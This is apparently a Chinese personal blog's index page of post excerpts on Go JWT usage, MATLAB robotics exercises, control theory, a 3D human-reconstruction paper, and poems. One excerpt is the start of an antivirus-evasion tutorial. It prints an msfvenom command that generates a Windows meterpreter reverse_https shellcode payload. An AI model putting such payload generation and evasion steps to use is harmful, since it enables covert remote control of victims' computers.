总结一下jwt的使用 从22年旧博客贴过来的文，稍微进行了整理。 1. 安装 终端安装即可： 1go get github.com/dgrijalva/jwt-go 2. 使用 首先定义结构体用来生成token 12345type Claim struct { Id int User string jwt.StandardClaims} 其中jwt.St

这是哪？ 什么时候我又来到了这里？ 身体自己动了起来。 在找什么呢？ 却一直徘徊在这无端的河岸。 没有桥没有船。 只有我。 只有我吗？ 那是谁？ 有人伫立着， 就在对岸。 过去了多久？ 好像有什么东西藏着， 我踯躅着不敢上前。 你是谁？ 迷雾

robotics section 7 matlab practice 题目 problem 代码 a 123456789101112131415161718192021222324252627282930313233343536373839404142clear%定义已知量syms theta_s theta_f t_ftheta_s=120;theta_f=60;t_

golang加载msf shellcode分离免杀 1 生成shellcode 使用msfvenom生成shellcode 1msfvenom -p windows/x64/meterpreter/reverse_https lhost=x lport=x -f c 经测试不对shellcode进行编码也可免杀。 2 配置msfconsole 12345678msfconsole

pole assignment & lqr tracking simulation for modern control theory 0 题目要求 假设在惯性坐标系下移动机器人的坐标为\(O=(x,y,θ)^T\)，参考机器人的坐标为\(q_r=(x_r,y_r,θ_r)^T\)，跟踪误差坐标在载体坐标系下的坐标为\(p_e=(x_e,y_e,θ_e)^T\)。 （1）通过载

robotics section 5 jacobian matlab practice 题目 problem1 problem2 代码 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606

PSHuman Learning 1 前置知识 2 核心过程 2.1 基于SMPL-X先验条件的跨尺度多视角扩散生成 这一阶段的目标是根据输入的单张图像，生成高质量、多视角（6个视图：前、左前、左、后、右、右前）的彩色图和法线图，同时要确保一致性。 overall_pipeline 2.1.1 条件扩散模型 采用U-Net结构地神经网络作为去噪网络。U-Net地编码

诉衷情·月痕微冷掩西窗 月痕微冷掩西窗，细雨染红妆。年时与君曾许，随风远，谢华芳。 杨柳陌，旧斜阳，共谁双？语残斜梦。泪尽魂销，时怨忽狂。

robotics section 4 inverse kinematics matlab practice 题目 problem 代码 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364

诉衷情·心曲寻遍隐遗亡 心曲寻遍隐遗亡，欲自暖还凉。几番恨怨谁诉，忍泪敛眉妆。 疑月堕，惑流光。复成伤。任凭空问，冷送残风，凄雨侵芳。